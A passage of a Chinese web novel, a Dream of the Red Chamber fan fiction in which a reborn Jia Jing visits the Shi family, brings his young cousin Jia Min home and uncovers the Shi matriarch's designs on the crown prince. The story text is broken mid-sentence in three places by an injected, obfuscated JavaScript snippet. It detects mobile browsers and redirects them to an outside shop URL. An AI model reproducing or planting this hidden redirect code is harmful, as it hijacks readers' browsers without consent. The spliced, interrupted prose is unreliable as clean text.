上辈子也因为史氏的这一举动,加剧了他们母子间的隔阂,甚至连贾赦贾政间的兄弟之情,也受到了影响。 贾赦是不爱学习,也不在乎国子监这个荫监生的名额,可他到底是被史氏伤了心。 而如今,贾敬早就想好了对贾赦的安排,一早就和二叔贾代善交流过想法。 至于贾政,贾敬也早有考量。 上辈子贾政虽然凭借家中荫监名额进入了国子监学习,却在科考一路上,极为不顺,最后连个举人功名都未考上。 是他二叔临终前,天丰帝为了让贾代善安心去了,赐了一个工部员外郎给了贾政。 看似是恩典,实则也堵了他晋升的路。连举人官身都没有,又谈什么晋升呢? 贾政的能力,贾敬这些日试探过,底子很扎实,进入国子监后,好好学习,中举不是难事。 至于上辈子为何是那样的成绩…… 贾敬眼中滑过一丝凉意,嘴角弯起一抹没什么温度的笑。 俗话说,一花独放不是春,百花齐放春满园。 宁荣二府如今只有他一个由科考入仕,太过单薄了。 有他在,他一定会好好挖掘族中子弟,将合适的苗子都找出来。 贾政余光看见贾敬的那抹笑,背后一凉。 敬二哥哥怎么笑得那般怪异? 肯定是他看错了,贾政这般想着,却还是忍不住搓了搓胳臂。 皇甫玦见状,用胳膊肘撞了他一下,“贾存周,你放心,我会罩着你的!” 贾政扯了扯嘴角,在京城,他荣国府二爷,还需要他一个外省人罩着? 但他并未与皇甫玦辩解,这不是他的性格。 贾敬则是似笑非笑的看向程一序,半开玩笑半试探开口, “程兄,没想到我们如此有缘。” “只是,阿玦这般小,便孤身一人在京中求学,家中人不担心吗?没派人跟着?” 看似是关心皇甫玦,实则是试探他背后的家族。 贾敬这问话里试探的意思很是明显,甚至到了粗糙的地步。 可这也是贾敬故意为之。 他是在试探皇甫玦背后的皇甫家吗? 不,他是在试探程一序以及他背后的家族,对自己到底是敌是友,是否愿意告诉自己,他们的来历。 程一序冷峻的脸上依旧没什么表情,漆黑的眼睛盯着贾敬看了一会儿后,冲皇甫玦招了招手, “来,你自己来跟你的培元哥哥说。” 平缓的语气,愣是让贾敬在“培元哥哥”四个字上,听出了阴阳怪气。 皇甫玦一听,窜到贾敬面前,“培元哥哥想知道什么,我告诉你!” 贾敬扯了扯嘴角,目光幽幽瞄了程一序一眼,心里可以确定: 此人看着冷峻,像是一座洁白的冰山,实则冰川之下,是透黑的冻土。 真黑啊。 贾敬看着和自己大眼瞪小眼的皇甫玦,无奈的叹了口气。 就在贾敬想着,来日方长,总会被他查到时,皇甫玦恍然大悟的“哦”了一声。 “培元哥哥,是不是想知道我家中情况?” 贾敬闻言一挑眉,程一序则是一蹙眉,直接撇过脸,不愿多看。 皇甫玦嘿嘿一笑,“我知道,你肯定好奇!” “我和他来京路上,可没人能猜到!” 皇甫玦口中的“他”,自然是程一序。 “说说。”贾敬颔首。 “咱们大乾朝有三大书院,培元哥哥可知道是哪三个书院?” “金陵的承天书院,豫州的南泉书院,以及赣省的浮白书院……”贾敬刚说完,便反应过来。 “浮白书院的山长,是大乾闻世大儒……”贾敬一字一顿说出一个人名,“皇甫玄。” 皇甫玦皱了皱鼻子,虽不情愿,但也不想骗贾敬,“是我爹咯。” 原来如此。 贾敬心中的疑惑都消散了。 为何小小年纪就有如此笔力,又为何能拿到国子监荫监名额。 荫监名额,除了三品大员和勋贵外,还有几个特殊的名额。 那便是对天下读书人有巨大贡献和影响的大儒,他们的后代也可以进入国子监。 而现在闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044965|147403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名于世的大儒们,包括三大书院的山长们,以及青州衍圣公孔家等传世世家。 这些书香世家,家学渊源,是天下学子都仰望的存在,即便有国子监这个荫监名额,这些世家子弟也不会进入国子监。 国子监的讲学老师哪里比得上他们的家学? 据贾敬所知,若是皇甫玦所说的一切都是真的,那么他将是这近几十年里,唯一一个进入国子监读书的世家子弟。 这小孩还真是与众不同。 贾敬眼中的诧异和怪异并未隐藏,皇甫玦瞧见后,也不在意,摆了摆手,“我就是想逃离我爹,我才来的京城。” “我会让他知道,我所说的,一定会做到!” 皇甫玦昂着头,目光遥望着远方,语气坚定。 贾敬拍手道:“有志气!” 皇甫玦的眼睛亮了亮,“培元哥哥,你真这么觉得?” “呵。”程一序冷哼一声,惹来皇甫玦一记白眼。 最终那份孤本,由贾政送给了皇甫玦,又得到了皇甫玦一句“我罩着你”的承诺。 看着比自己还要矮半个头的皇甫玦,贾政皮笑肉不笑的感谢,并未放在心上。 而贾敬的其他同年们也都比试完毕,拿到彩头的人,对贾敬笑得那叫一个灿烂。 贾敬不禁轻啧,说好清流呢? 怎么一个个,都显得那么势利呢? 而贾政心情极好,这些天瓶颈期的字有了突破,还得了敬二哥哥的夸赞,还在敬二哥哥那边知道,自己下月就要去国子监读书了! “你很高兴?” 忽然,一道阴恻恻的声音在贾政身后响起,吓得他一个激灵,一回头,见贾赦一脸阴郁的望着自己。 “哥?” “你很高兴?”贾赦又幽幽开口。 “我不高兴!”贾赦声音骤然拔高,伸手就一把箍住贾政的脖子,整个人都猴在了贾政的身上。 “你知道刚刚的书法比试,我押注押了你多少吗?” “啊!你知道吗?” “半个月的月俸银子啊!就这么被你送出去了?” “半个月啊!” “我的银子!” 贾赦越说越悲伤,声音都有些哽咽,原本箍着贾政脖子的手臂也松了,狠狠擦了一把眼睛。 “咳咳咳!”贾政咳嗽,粗喘着气,脑子里快速处理贾赦刚刚说的那些话。 他哥居然在刚才比试里,押了自己? 贾政瞠目结舌,“哥,你刚刚押了我?” “对啊!”贾赦粗着嗓子,“押了!” “你对得起我的信任吗!” 贾赦觉得自己的心在滴血,他半个月的月俸银子啊! 贾政的嘴角扯开,眼睛弯着,看着狼狈的兄长,“哥,我赔你!” 贾赦一顿,眼睛一抬,狐疑地望着脸带笑意的贾政,“你赔我半个月的月俸银子?” 不会是脑子坏了吧? 贾赦的眼神让贾敬一僵。 “咳!”贾政轻咳一声,正了正脸色,努力保持自己平日里的正经模样,“你也是因为我的原因,我补给你。” “拿来。”贾赦毫不客气。 贾政也爽快,将腰间荷包扔了贾赦。 贾赦打开,清点了一下,确实是半个月的月俸。 他将荷包收好,掀了掀眼皮,“你不会转眼跟她告状吧?” 她自然指的是史氏。 “哼。”贾政嘴角一压,“怕就还我。” “滚犊子!”贾赦一摆手,他又想起今天自己和何长荣打架时,贾政的那几招黑手,神色一动,勾了勾手,“凑近来。” 贾政不明所以,却还是跟着凑近,“什么事?” 贾赦小声道:“三妹在舅舅家也好些时日了,咱们去接三妹回来吧?” 这么一提,贾政也想妹妹贾敏了,他看了看内院花厅,“可母亲让三妹在舅舅家陪外祖母。” 贾赦撇了撇嘴,没好气道:“怎么?他们家是没姑娘吗?天天扣着我们贾家的姑娘,这都多少天了。” “就连今日,他们家除了派东西过来,一个人影儿都没看见!” “我不管,我要去找三妹,你就说,你去不去吧!” 贾政抿了抿唇,“去!” “去什么?” 刚从贾敷史云棠催着相看的魔咒中逃离的贾政,一出来就遇见两个准备做坏事的弟弟。 他张开双臂,一手搭一个,显得懒散,“我好像听到,你们要去接小敏儿?” 贾赦和贾政对视一眼,点头,“是。” 敬二哥哥也不怕告诉。 贾敬勾了勾唇,“走,哥陪你们一起去。” 今日除了远在金陵的薛家没派人来,史家同在京城,却也没来人。 史家除了是二婶史氏的娘家,也是他大嫂史云棠的娘家。 真反常。 他眸光沉了沉,史家啊,该去看看了。 36.第 36 章 “小敏儿去史家多久了?” 贾敬带着贾赦贾政两人坐上了去史家的马车,问起贾敏的事情,看似很是亲昵。 然而事实是,对于这位堂妹,贾敬若硬要说,还真不熟,前世他与贾敏也没见过几回。 一来,贾敬与贾敏的年龄本就差许多,二来,两人不处一府,平日里并不会接触,也只有每逢年关,两府相聚宴会,见过几回。 即便如此,男女分席,也只是点头之交,并不会有什么交涉。 贾敬对这位堂妹的印象,也不过是红颜薄命,年纪轻轻便生病去了。 而贾敏的那位夫婿林如海,贾敬倒是更了解些。 不出意外,六年后的会试,探花郎便是他的囊中之物。 家中几代列侯,书香门第,本人亦是学识了得,仕途更是一片坦荡。 无论是于京中都察院任兰台寺大夫,还是后来于扬州任巡盐御史,别看品阶不高,可位置之扼要,足以见得圣上对其的信任,简在帝心。 说实话,林如海的仕途,贾敬是真的羡慕到眼红。 奈何这位妹夫,身子也不好,不惑之年便去了,留下了一个体弱多病的小姑娘,是贾敏和林如海唯一的孩子。 贾敬如果没记错的话,那孩子后来就养在了荣国府,也不知道后面如何了…… 想起上一世,贾敬微垂眼眸,心中暗叹: 那会儿他已经久居道观多年,府上事情早就没有心力管了,隔壁荣国府较宁国府好些,可在二叔贾代善走后,也渐渐远离了权力中心。 荣国府为了摆脱困境,甚至朝宫里送了人。 家中娇养长大的姑娘,一下子进了那不得见人的去处……即便后来那丫头出息,加封贤德妃,甚至盖了院子省了亲。 看似盛宠加身,鲜花着锦,烈火烹油,可到底家中没有立起来的男人,靠一个女子,又能撑多久? 贾敬想到此处,看向了旁边板正坐着的贾政,荣国府送进宫的那个丫头,还是他的大女儿呢,还真忍心!忍不住瞪了贾政一眼。 简直窝囊! 随后贾敬眼眸一暗,不能护着女眷,是他们这些爷们窝囊,都窝囊。 包括他自己……他知道的。 他吞丹自殁何尝不是在逃避? 贾政若有所觉,对上贾敬的眼神后,一激灵。 他做错了什么,敬二哥哥居然这样看他! 贾赦则是回答了贾敬刚刚的问话,嚷嚷道:“三妹去史家有些日子了,我估摸着都快半个月了!” 说起这件事,贾赦就憋不住了,“他们史家忒不要脸,他家是没姑娘吗?天天扣着我家妹妹不放!” “三妹有家,哪有一直在外家待着的道理!” 贾赦越说越不忿,因这事是他母亲史氏首肯,有这一层的关系在,贾赦就更加不满了。 贾敬沉思,一时也想不出史家的目的。 但若说是什么史家老太君喜欢外孙女,疼外孙女,贾敬是不信的。 这史家老太君是什么人,别人不知道,贾敬却知道。 她不仅是贾敏的外祖母,更是他嫂子史云棠的嫡亲祖母。然而这位史老太君对史云棠,不仅不亲厚,反而是冷漠苛刻。 因此不怪贾敬有意揣测她故意留贾敏在史家的原因。 而今日的庆祝宴,史家作为宁荣二府的姻亲,同住京城,却连脸都没露,这样的态度也着实令人忍不住猜忌缘由。 贾政看了看外面越来越黑的天色,有些担忧,“敬二哥哥,天色已晚,我们没有拜帖上门,是否不妥?” 贾敬无所谓的笑了笑,看似漫不经心道:“都是老亲,无事。” 他们史家无事,却一人不来,那么他便亲自去瞧瞧,刚好有位人,他也打算见一见。 “二爷,咱们到了。” 夜幕下,街边挂起了灯,贾敬几人也终于到了。 贾赦贾政两小子率先跳下马车,这边一有动静,门房便出来了人。 得知是贾家的几位爷们,门房连忙回去禀告。 贾敬翻身下车时,史家西侧门便打开,出来好几人相迎。 “培元,你怎么来了!” 为首的一位魁梧青年走到贾敬面前,惊诧之余,面上还挂着一抹苦意, “今日不过是没去你府上给你庆祝,你就直接追我府上了?” 贾敬抖了抖袍子,斜眼瞧着他,“史伯齐,你也知道啊?” “你瞧瞧你这事儿做的像话吗?” 贾敬伸手隔空点了点他,青年叹了口气,有些苦涩和无奈,贾敬闪了闪眼,招呼贾赦贾政, “怎么不叫人?” 贾赦原本还在赌气,但听贾敬这么说,还是乖乖喊了人。 “大表哥。” “大表哥。” 贾政也连忙向青年问好,态度较贾赦要好上许多。 魁梧青年正是史家嫡长子,这一辈的保龄侯世子,史晁,字伯齐,史云棠的大弟,和贾敬一般大。 然而上一世,西戎来犯,史晁将将新婚便出了征,战死沙场,其妻生下遗腹子后,便殉情而亡。 贾敬眼皮抬了抬,现在还活着,挺好。 史晁见贾赦贾政两小子也跟着来了,心下一跳,已经隐约猜到是怎么一回事,一边引着贾敬进去,一边问着, “你今日不会真的是来上门兴师问罪吧?” 贾敬没搭话,带着贾赦贾政就朝府里走去。 史晁观察着贾敬神色,脸上闪过一丝纠结,最终还是问道: “今日我们没去,大姐可是生气了?” 史家大小姐嫁进宁国府不过一年,然而宁国府办这样的喜宴,史家作为宁国府主母的娘家,却没一人露面,这让外人如何看史云棠? 贾敬听见这话,脚步忽的一顿,转眸盯着史晁,似笑非笑, “如今说这话不觉得晚吗?” “想知道,你何不自己去问?” 语气里的火气压根没压住,或者说,贾敬也没想压。 贾敬一直都知道,嫂子史云棠与史家关系很微妙,但缘由他并不知晓。 尤其是在贾敷死后,史云棠几乎与史家就断绝了来往,对缘由亦是讳莫如深。 史晁本就愧疚心虚,被贾敬这么一怼,更是无脸回嘴,只能讪讪一笑,闭了嘴。 贾敬哼了一声,也没再逼史晁,而是问了其他。 “世伯不在家中?” 贾敬说的,自然是第二代保龄侯,史开,史氏的亲哥哥,贾赦贾敬贾敏的亲舅舅。 “父亲于月前匆忙离京,至今未归。” 多余的话,史晁也不多说。保龄侯深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085722|147403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得帝心多年,能让他匆忙出京没一句交代,除了圣上的旨意,再无第二种可能。 贾敬颔首,也没再多问。 史晁见状,微微挑眉,心里也不想贾敬来的目的了,左右等会儿就知道了,随后笑着一把搂住大表弟贾赦的脖子, “赦哥儿怎么跟着培元一起来了?” 贾赦臭着一张脸,硬生硬气道:“我来看三妹。” “嗯。”贾政也跟着点头。 史晁心中有了数,若是只为小敏儿而来,倒不是什么大事。 保龄侯不在家中,招待客人的事情,自然落在了史晁身上。 他将贾敬几人带到前院的花厅,刚进去坐下,侧边跑出来两个少年。 “敬二哥,大表哥,二表弟。” 两少年约莫十五六岁的年纪,稀奇的是,外表长得一模一样,是少见的双生子。 史鼐、史鼎,史晁同胞的二弟三弟。 两人顽皮的紧,对着贾赦贾政的后背就是一跳,猴在了人家背上。 可别看这两人不着调,上一世在史晁去世后,这两小子靠军功顶起了史家门楣,老二史鼐世袭保龄侯,任外省大员,老三史鼎加封忠靖侯。 史晁仅剩的唯一的女儿,也是他们抚养长大。 而史家一门双侯的荣耀,谁不艳羡? 若是姻亲,史家现在与贾家不可谓不亲密。无论是现在的荣国公夫人史氏,还是他嫂子史云棠,皆是史家出嫁的姑奶奶。 然而,他们两家的关系,实则并没有多亲密。 且不说荣国府那边,就说史家和宁国府的关系,若不是说联姻,还以为结了仇呢。 贾敬悠哉坐着,背轻靠在座椅上,轻撩起袍子,翘起了腿。 史晁望着贾敬包着白布还去撩袍子的手,扯了扯嘴角,“你这手能这样动?” 他怎么听外界传的,这手都要废了呢? 贾敬翻了下眼睛:“怎么不盼着点我好啊?” 史晁:“谁不盼你好了?这不是外面都有这么说吗?” “说说,你今天这么重要的日子不在府里待着,到底来干什么?” 贾敬抬了抬下巴,朝贾赦的方向看去,“陪这两小子来的。” “你不知道他们为何而来?” 贾敬故意问了一句,他不信话说到这个份儿上,史晁不知道贾赦贾政他们的来意。 史晁本想打个马哈,可对上贾敬冷静透彻的眼睛,当即闭了嘴。 “唉……” 一道无奈且沉重的叹息从史晁口中叹出,贾敬看着他,史晁眼里是难掩的倦意和疲惫。 贾敬心下一动,“说说吧。” 史晁有些为难,可心中的疲惫与压力,又让他非常想要倾诉,内心纠结拉扯,一时无言。 贾敬微微眯起眼,忽然说道:“是因为你们家老太君吧。” 史晁先是一怔,他没想到贾敬会知道,紧接着嘴角溢出一抹笑,满是苦涩和自嘲,感叹一句, “果然什么事情都瞒不得你。” 贾敬敛眸,语气平淡,“她留小敏儿在史家,是不是和嫂子有关?” “她觉得我们贾家欠了她?” 虽是问句,且没头没尾,然而却一石激起千层浪。 紧盯着史晁神情变化的贾敬知道,他猜对了。 37.第 37 章 史晁瞧了眼在打闹的四位弟弟,招招手,“老二老三,带赦哥儿和政哥儿去找敏儿玩。” 贾赦和贾政一听,立刻拽着史鼐、史鼎两人朝外走。 “快,我要见三妹妹!” 史鼐:“诶呀,敏儿在老太太那边吃饭呢,我们现在过去,估摸着也快用完了。” 几人拉扯着走后,史晁正了正脸色,郑重地看向贾敬,沉思了一会儿才开口道: “培元,关于那件事,你知道多少?” 贾敬什么也不知道,但不妨碍他装的知道。 他故作轻松,眼皮半阖着,语气懒散,“我什么也不知道。” 可那悠闲自得的态度,让史晁以为,贾敬大概什么都知道了。 “唉……”史晁又叹了口气,在贾敬身旁的椅子坐下,肩膀耸拉着,颓丧地靠在椅背上。 “是大姐姐告诉你的吧。” 贾敬半阖着眼睛,没人看见他眼中闪过精光。 他也不作答,这模样在史晁看来便是默认了。 史晁:“没想到,她居然将这件事都告诉了你们。” 贾敬掀了掀眼皮,斜眼看着他,“我们和嫂子是一家人。” 史晁笑了笑,显得有些苦,“大姐姐过得好,就好。” “大姐姐作为我大姐,我又怎么不希望她幸福?我知道,大姐姐只想嫁给大姐夫,可是老太太执拗,执着于那些妄念……” 贾敬眉梢微微一动,这是什么意思,老太君的妄念,难道还关乎兄嫂的婚事? 在此之前,贾敬从未想过,史云棠不会嫁给贾敷这种情况。 兄嫂二人的婚事是贾史两家老太爷在时,便指腹为婚定下的。况且,两人是青梅竹马,两小无猜,彼此相知相守,又怎么可能不会是夫妻? 贾敬面上不露疑惑,只是沉声阐释一个事实:“兄嫂婚约是祖父辈定下的。” 史晁点头,并未反驳。 “自从老太爷去后,老太太便有了个妄念,她不想大姐姐嫁与宁国府。” 贾敬闻言,并不意外。他自然知道那位老太君不喜他们家,尤其是在他父亲贾代化去世后。 可两家定下的婚约又岂能是如此胡闹的? 史晁自开了口,心中的负担有了宣泄口,一发不可收拾。 “我父亲自然不能背弃两位老太爷定下的婚约,所以我们两家的亲事,最终还是成了。” “老太太的妄念倒是郁结于心,更放不下了。这才时不时招敏儿表妹来府上……” 史晁说着,自己都显得羞愧和心虚。 贾敬闻言,心中火热,觉得史家老太君简直是疯了! 桃花眼犀利地射向史晁,语气尖利,“她想如何?你们府上没人嫁她看上的人,想让小敏儿顶替嫂子?” 简直荒谬! 贾敬嘴角勾起一抹讽刺,讥讽道:“且不说小敏儿才六岁,就说她是我贾家的姑娘,就轮不到她来插手!” “我宁荣二府可都还在这儿呢!” “您家老太太这心思,我二婶不知道吧?” 贾敬这话还真的说对。 史晁讪讪一笑,确实不知道,是他家老太太哄骗自己女儿,说家中全是浑小子,想要软糯小外孙女环绕膝下,史氏才将贾敏送来。 贾敬冷笑,他这位二婶他还算了解,虽然偏心不喜贾赦,但对于二儿子贾政和小女儿贾敏却是当眼珠子护着。 若是史氏知道史家老太君是这等恶心人的心思,又怎么可能会将贾敏送来这么些时日。 贾敬扯了扯嘴角,被史晁说的,不气反笑,这史家老太君究竟是看上了哪位世家公子,竟然如此放不下?能想出这样的昏招? “您家这位老太太的妄念,是看上了哪家人杰?”贾敬也不藏着了,直接问出了口,“难不成是什么龙子凤孙不成?” 史晁闻言,面色尴尬,他也没怀疑贾敬不知道,只当姐姐碍于脸面没说全。 只是那位的身份,他确实有些难以启齿,尤其是当贾敬面前。 那位的身份,也不是他能随便妄议的。 可史晁不对劲的态度,却让贾敬心下一紧,眼皮下意识猛跳。 还真是……龙子凤孙? 史家老太君看上了谁? 她眼光高,入她眼的,若是身份高的皇子凤孙,还和嫂子年龄相当,且没有正妻的…… 贾敬心头骤然冒出一个人影,他忽的抬眼,目光定定盯着史晁,一字一顿道: “萧、淮、川!” “诶呦!”史晁整个身体一颤,面色大变,眼睛迅速朝外看去,即便这是他自家府上,刚才也吩咐了人看守,可也生怕被什么人听了去。 “我的哥啊,我喊你一声哥,这不是没成吗?你别这么……” 史晁哭丧着脸,声音都有了颤音。 他刚想跟贾敬说什么,对上贾敬那双阴郁寒意的眼神,让人一瞬间毛骨悚然,原本到嘴边的话硬生生地咽了回去,嘴唇嚅嗫几下,最终乖乖闭上了嘴巴。 贾敬兀自闭上了眼,想要努力平息心中翻涌的复杂情绪。呼吸急促了几分,胸膛起伏着。 他震惊,震惊史家老太君的痴心妄想,而那震惊里又掺杂着他自己都难以解释的愤怒。 说不清道不明。 他在愤怒什么? 当得知他们对萧淮川的那一丝觊觎心思时,贾敬只觉得自己一直仰望的明月,居然有人胆敢偷窥! 她怎么敢?还真敢想! 那种冒犯让他宛如一头被侵入领地的野狼,本照耀他的月光洒向了他人。他浑身毛发倒竖,露出凶恶的獠牙,随时准备咬断来犯之人的脖子。 想要平复的心绪随着贾敬的想法,反而愈演愈烈。 贾敬只觉得脑袋发懵,粗喘着气,整个人空虚到他想要迅速握住什么,可包裹着的手让他手弯曲一半都做不到。 “嘶……”他狠狠咬了舌尖,疼得倒吸一口气。 口内充斥着铁锈味,贾敬舌尖顶了顶,传来一阵刺痛,他靠着疼痛夺回了仅存的理智。 “培元,你没事吧?” 即便贾敬努力忍着,可他的异样依旧被史晁注意到。 贾敬摆摆手,示意自己没事。 他缓缓睁开眼,原本清亮的眼眸里挂上了红血丝。 他忍着胀痛的头疼,逼着自己冷静。 自己有什么立场去愤怒? 他算什么? 贾敬原本挺直的脊背,瞬间泄了气,弯着朝后靠去,整个人显得没了气力,眼皮半垂。 史晁舔了舔有些干涩的嘴唇,讷讷道:“我知道,培元你和殿下向来要好,可你也不用气成这样吧…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093844|147403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “再说,我们这不是……” “只是想想。” 史晁最后是嘟囔出声,也不知道贾敬听见没有,但他却不敢再说了。 就算是想法,也确实大逆不道。 贾敬听见了。 “他……”贾敬开了口,声音干涩嘶哑,“他的情况,谁不知道?” 贾敬目光阴郁,声音沉闷,“圣上确实是没有给他定下,可人选是一直有。” “现在没定,可不就是为了等张家那位吗?” 他越说,声音越有些飘,眼神也变得有些涣散空洞, “承恩公张家可是圣上的母家,圣上想给张家这个恩典,太子妃完全够了。” “若不是张大小姐三年前意外身亡,也不会拖这么久了。” 史晁想起自家老太太曾说过的话,没忍住道:“那后来那位张二小姐,才不过十一岁……” 贾敬手腕无力搭在椅子扶手上,斜眼朝史晁看去,眼神没多犀利,却让史晁莫名胆寒。 “您家老太太不更胆大,小敏儿才六岁,她都敢这么想了,” 史晁咽了咽口水,“她也就是受甄家老太太刺激了。” “你也知道,她和甄家老太太争了大半辈子,甄家那个小姑姑进宫后,没多久就得了盛宠,更是生下了六皇子,封了妃位。” “甄家也因此得意了许久。” 史家老太君也就一个女儿,便是嫁给贾代善的史氏,嫡亲的孙女也就史云棠一人,这两人没指望后,居然将歪脑筋打到了外孙女,贾敏身上。 “呵。”贾敬都懒得看史晁,“太子妃是圣上盯好的人选,为了等那位张二小姐长成,一直未给太子赐婚,这些年的争议圣上都没理睬,你以为你们史家多大本事,能谋划这些?” “你们史家全族几个脑袋?” 这里面一方面是违背圣意,另一方面也有为储君站队的意味…… 史晁闻言,陡然一个激灵,额头瞬间渗出了一层冷汗。 “不、不是。”史晁急得说话结巴,“我家没这么想,我父亲更是没同意。” “这就是老太太一人的妄念,当不得真的。” 贾敬听了这话,唇角勾起,似笑非笑,眼里却含着凉意,“所以,你们扣着我贾家的姑娘,来哄你们家的老太太?” “拿我们贾家当什么?” 就如贾敬所说,史家没想顺着家里老太君去做那等大逆不道的事,可也为了不让老太君在家寻死觅活,哄着她,才面上同意她接贾敏过府。 心思被戳破,史晁羞愤地低下头,没搭话,也无脸辩解。 贾敬面色淡了下来,缓缓站起身,“好了,人,我今日便接回去了。” 史晁张了张嘴,“这件事……” “这件事情,我会如实告诉二叔。”贾敬打断史晁的话,“这件事,已不是你能解决了。” “待世伯回京再说吧。” 丢下这句话,贾敬便头也不回的出了花厅。 明月高悬,夜凉如水,猎猎凉风从领口、袖口灌入,令贾敬遍体生寒,连骨头都觉得冷。 他微微抬起头,遥望夜空,皎皎明月,如他一般。 贾敬缓缓伸出手,想要碰触,可抬到一半后,他又猛地收回手,宛如有什么洪水猛兽。 他不能…… 38.第 38 章 月光柔和不刺目,可看着久了,眼睛是难免涩然。 贾敬下意识抚摸上胸前萧淮川为他戴上的那枚羊脂白玉牌,仅露出的那一点指腹轻触,感受着白玉牌上传来的温热。 他眨了眨酸涩的眼睛,眼尾带着一片湿意,收回了目光。 月光只需要高高挂着,便好。 “敬二哥哥。” 身后传来唤声,贾敬转身,便看见贾赦手抱着一个粉雕玉琢的小女孩。 “敬、敬二哥哥。” 娇俏声音里带着些怯怯之意,缩在贾赦怀里,水汪汪的杏眸望着贾敬,眼里藏着好奇。 贾敏自幼聪慧,记得住人,知道面前这是东府那边的敬二哥哥,只是她见的少。 贾敬动了动有些僵的脸,看向贾敏的眼神柔和下来,牵起一抹笑,“三妹妹。” 许是孩子很敏感,贾敏立刻感受到了贾敬的态度,动了动身子,示意贾赦,她要下去。 贾赦撇了撇嘴,还是听从妹妹的话,将她放了下去。 贾敏脚刚着地,迈着小短腿朝贾敬跑去,到了贾敬跟儿前,犹豫了一会儿,偷瞄了一下贾敬的神情,见他目光平静柔和地望着自己,立刻大着胆子,一把抱住了贾敬的大腿。 “敬二哥哥!” 这声喊的,比先前那句,响亮多了。 随后她放开贾敬的腿,拽了拽贾敬的衣袍。 贾敬顺势蹲下身,与贾敏对视,声音温和,嘴角带笑,“三妹妹喜欢敬二哥哥?” 贾敏抿嘴一笑,她就喜欢长得好看的人,东府得这位敬二哥哥就长得极好,比她两位哥哥都好看,她喜欢! “嗯!” 贾敏点头,贾敬手臂一览,穿过贾敏的腿弯,另一只手轻扶着她的后背,将贾敏抱了起来。 “敬二哥哥,你的手!” 贾政一边紧张地看向贾敬的手,一边推了推旁边的贾赦,希望他将妹妹接过去。 贾敬:“没事,我手臂托着,用不着手。” “走吧,咱们家去吧。” 马车走在青石板的道上,一路“咕噜咕噜”,贾敏一开始还和贾敬说这话,“什么敬二哥哥手为什么包着”“受伤疼不疼”云云,后面便困了,脑袋一歪睡了过去。 贾敬坐在马车上时,总觉得自己好似忘记了什么。 贾赦贾政先下了马车,还帮贾敬撩着帘子, 贾敬刚一探头,就对上了兄嫂差点都要冒火的眼神,贾敬才想起来,他忘了什么。 他带着两个弟弟溜了宴席不说,出门还没和家里打招呼。 贾赦贾政面对贾敷的脸色,老实地站在原地。 贾敷哼了一声,朝马车这边走来,怪腔怪调道:“哟,咱们家二爷还知道回来啊?” 贾敬的手一顿,眼里闪过一丝懊恼。 他做了宁国府不知道多少年的家主,早已经不需要出门跟谁禀报了。 “哥。” 贾敬扯了扯嘴角,面露尴尬。 “你老实交代,你去……”贾敷话没说完,目光死死地盯着贾敬的话里,“你、你怀里抱着谁?” 史云棠也跟着走近,一眼就看见了贾敬怀里的贾敏,也是一惊,“三妹妹?” 贾敷:“你去了史家?” “嘘……”贾敬轻嘘了一声,“三妹妹睡着了。” 他搂着睡得香甜的贾敏,小心弯腰,出了马车。 贾敷看着贾敬那抱孩子的样子,心跟着一跳,脸上露出嫌弃之色,但手已经伸了出去,轻声念叨着,“给我,给我。” 他小心接过,抱孩子的姿势比贾敬好多了,贾敏睡得更沉了。 史云棠瞧了眼贾敏睡得粉嘟嘟的脸颊,先是松了口气,紧接着神情又变得严肃几分,抿了抿唇,看向贾敬,欲言又止。 贾敬笑了笑,“嫂子,我们进去说。” 史云棠沉默了一会儿,点点头。 贾敷看了眼自家夫人,眼眸微动,却也没说什么,而是抱着贾敏先进了府。 进了府后,贾敷将贾敏交到府里嬷嬷手上,又交代好贾赦贾政看护好妹妹,才让王总管将人一并护送回西府。 贾敷三人才重新坐了下来。 史云棠的神色显得有些忧心忡忡,魂不守舍。 贾敷看在眼里,却没说什么,而是一把捞过自家夫人的手,感受到手心的冰凉后,他用自己的手开始摩挲着。 “阿元,原本以为你是觉得我和你嫂子念叨烦了,躲了出去,你怎么忽然去史家了?” “还把你三妹妹带了回来。” 贾敷问着,史云棠也将目光放在贾敬身上。 贾敬慵懒着靠着,“还能为什么?赦哥儿和政哥儿两小子想妹妹了呗,我刚巧找史伯齐有些事,便去了。” 他抬眼,对上史云棠的目光,“嫂子,伯齐还说他想你了。” 史云棠点点头,却没说要回史家看看,而是问了句,“父亲可回京了?” 贾敬:“还未。” 史云棠的手指不自觉攥紧贾敷的手,“阿元,你接三妹妹回来,史家有说什么吗?” 对于史云棠的问话,贾敬有些莫名,“没有啊。” “三妹妹在史家已经好些日子了,想来二婶也想三妹妹了,也该回来了。” 